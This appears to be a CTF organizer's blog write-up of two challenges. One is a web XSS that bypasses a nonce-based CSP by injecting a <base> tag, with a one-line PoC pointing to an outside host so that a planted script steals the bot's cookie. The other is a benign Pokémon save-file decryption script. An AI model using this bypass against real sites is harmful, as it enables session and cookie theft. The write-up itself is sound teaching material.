Last week, I had the opportunity to organize together with the other K!nd4SUS members, the first edition of the K!nd4SUS CTF where I contributed by creating two challenges in the Web and Misc categories.

Below you can find the writeups for these two challenges.

Cloud Recipe (Web)


The website allows a user to register and create cooking recipes to save on their profile.

There is also a feature that allows a user to send a recipe to a bot and the bot's cookie contains the flag, this should immediately suggest that the challenge is XSS-related.

We can notice that some fields are inserted into the page without any sanitization when a recipe is created.

{% extends "base.html" %}

{% block title %}
  {% autoescape false %}
    {{ recipe['title'] }} - Cloud Recipe
  {% endautoescape %}
{% endblock %}

{% block content %}
  {% autoescape false %}
    <h1>{{ recipe['title'] }}</h1>
    <p class="description">{{ recipe['description'] }}</p>
  {% endautoescape %}

  {% if recipe['photo'] %}
    <img src="{{ url_for('uploaded_file', filename=recipe['photo']) }}" alt="Recipe photo" style="max-width: 100%; border-radius: 10px;">
  {% endif %}

  <p><a href="{{ url_for('recipes') }}">Back to your recipes</a></p>

  <script nonce="{{ csp_nonce() }}" src="{{ url_for('static', filename='js/image.js') }}"></script>
{% endblock %}

It would seem like an easy XSS if it weren’t for the fact that the site has a CSP that blocks any inline scripts that don’t have a nonce.

csp = {
    'script-src': '',    
    'style-src': ["'self'"],       
    'default-src': ['*']
}

Talisman(app,
         force_https=False,
         session_cookie_secure=False,
         content_security_policy=csp,
         content_security_policy_nonce_in=['script-src', 'style-src']
)

With some research we can discover that there's a directive called base-uri that restricts the URLs which can be used in a document's <base> element, and in our CSP is not present.

It would seem useless if not for the fact that the script included in the page specifies only a relative path, not an absolute one.

<script nonce="{{ csp_nonce() }}" src="{{ url_for('static', filename='js/image.js') }}"></script>

This allows us to insert a <base> tag to modify the URL from which it gets loaded.

So, what we need to do is host a malicious JavaScript payload on our server that allows us to steal the bot's cookie, then we insert a <base> tag pointing to our server in the recipe description, finally we have the bot visit our recipe and the script will be loaded from our server, completing the challenge.

Poc:

<base href="https://webhook.com/static/file.js">

Gotta Dump 'Em All (Misc)


We are given a .sav file as an attachment which is a save file for the Nintendo DS.

The challenge description asks us to retrieve the names of the Pokémon that the trainer has lost.

If we try to load the file into tools that allow viewing and editing Pokémon save files, we notice that only a Chimchar is present that is not the Pokemon we are looking for.

With a bit of research it's easy to discover that Pokémon save files create a backup block each time the game is saved, in case the current save file becomes corrupted.

The Pokémon we are looking for, in fact, are located in that very backup block.

By reading this guide, it's possible to see the algorithm the game uses to save information, so we just need to follow those steps to recover the names of the Pokémon.

The final script to solve the challenge is this one.

import struct

def get_block_order(pv):
    """
    Calculates the block order (shuffling) based on the Personality Value.
    Returns a list of 4 elements indicating how the 4 blocks have been shuffled.
    """
    order = ((pv & 0x3E000) >> 0xD) % 24
    block_orders = [
        [0, 1, 2, 3], [0, 1, 3, 2], [0, 2, 1, 3], [0, 3, 1, 2],
        [0, 2, 3, 1], [0, 3, 2, 1], [1, 0, 2, 3], [1, 0, 3, 2],
        [2, 0, 1, 3], [3, 0, 1, 2], [2, 0, 3, 1], [3, 0, 2, 1],
        [1, 2, 0, 3], [1, 3, 0, 2], [2, 1, 0, 3], [3, 1, 0, 2],
        [2, 3, 0, 1], [3, 2, 0, 1], [1, 2, 3, 0], [1, 3, 2, 0],
        [2, 1, 3, 0], [3, 1, 2, 0], [2, 3, 1, 0], [3, 2, 1, 0]
    ]
    return block_orders[order]

def compute_inverse_order(order):
    """
    Computes the inverse permutation of the given order.
    For example, if the order is [2, 0, 3, 1], the inverse will be [1, 3, 0, 2].
    """
    inverse = [0] * len(order)
    for i, val in enumerate(order):
        inverse[val] = i
    return inverse

def prng(seed):
    """
    Generates the next state of the PRNG (32-bit LCG).
    The "& 0xFFFFFFFF" operation is used to simulate 32-bit overflow.
    """
    return (0x41C64E6D * seed + 0x6073) & 0xFFFFFFFF

def decrypt_data(data, checksum):
    """
    Decrypts the 128 encrypted bytes (offset 0x08-0x87) of the structure.
    The encrypted data is treated as a continuous stream of 64 16-bit words.
    NOTE: We use little-endian format here, as in your code.
    """
    decrypted = bytearray()
    rng = checksum  # Initial PRNG seed
    for i in range(0, len(data), 2):
        rng = prng(rng)
        key = (rng >> 16) & 0xFFFF
        # Reads 2 bytes in little-endian (following your example)
        word = struct.unpack_from('<H', data, i)[0]
        decrypted_word = word ^ key
        decrypted.extend(struct.pack('<H', decrypted_word))
    return decrypted

def unshuffle_data(decrypted_data, inverse_order):
    """
    Splits the 128 decrypted bytes into 4 blocks of 32 bytes each
    and reorders them according to the inverse permutation,
    restoring the logical order (A, B, C, D).
    """
    blocks = [decrypted_data[i*32:(i+1)*32] for i in range(4)]
    unshuffled_blocks = [None] * 4
    for j in range(4):
        unshuffled_blocks[j] = blocks[inverse_order[j]]
    return b''.join(unshuffled_blocks)

def extract_nickname(unshuffled_data):
    """
    Extracts the nickname from the decrypted block.
    The nickname starts at offset 0x40, occupies at most 11 characters (22 bytes),
    and the string ends with 0xffff.
    The function returns a list of 16-bit (integer) raw hex values.
    """
    # Extracts the 22 bytes starting from offset 0x40
    nick_data = unshuffled_data[0x40:0x40+22]
    nickname = []
    # Reads each character (2 bytes, little-endian)
    for i in range(0, len(nick_data), 2):
        char_val = struct.unpack_from('<H', nick_data, i)[0]
        # If we find the terminator 0xffff, exit
        if char_val == 0xffff:
            break
        nickname.append(char_val)
    return nickname

def process_party_block(filename, base_offset, party_count=6):
    """
    Processes a party Pokémon block, starting from 'base_offset'.
    For each Pokémon (236-byte structure), extracts and prints the nickname in raw hex.
    """
    try:
        with open(filename, "rb") as f:
            for i in range(party_count):
                offset = base_offset + i * 236
                f.seek(offset)
                data = f.read(236)
                if len(data) < 236:
                    # If there isn't enough data, stop
                    break

                # The first 8 bytes are unencrypted: 0x00-0x07
                personality_value = struct.unpack_from('<I', data, 0)[0]
                checksum = struct.unpack_from('<H', data, 6)[0]

                # The 128 encrypted bytes are from 0x08 to 0x87
                encrypted_data = data[8:136]
                decrypted_data = decrypt_data(encrypted_data, checksum)

                # Compute the block order and unshuffle the 128 bytes
                block_order = get_block_order(personality_value)
                inverse_order = compute_inverse_order(block_order)
                unshuffled_data = unshuffle_data(decrypted_data, inverse_order)

                # Extract the nickname (from offset 0x40 for 22 bytes, terminated by 0xffff)
                nickname_chars = extract_nickname(unshuffled_data)
                print(f"Pokemon {i+1} (offset 0x{offset:05x}) nickname:")
                for char in nickname_chars:
                    print(f"{char:04x}")
                print()  # Blank line to separate Pokémon

    except FileNotFoundError:
        print(f"File '{filename}' not found.")

def main():
    filename = "game.sav"
    print("=== First party block (offset 0x00098) ===")
    process_party_block(filename, 0x00098)
    print("=== Second party block (offset 0x40098) ===")
    process_party_block(filename, 0x40098)

if __name__ == "__main__":
    main()

For some reason some of the offsets listed in the guide were incorrect, however, it's enough to shift some information by a few bytes to fix it.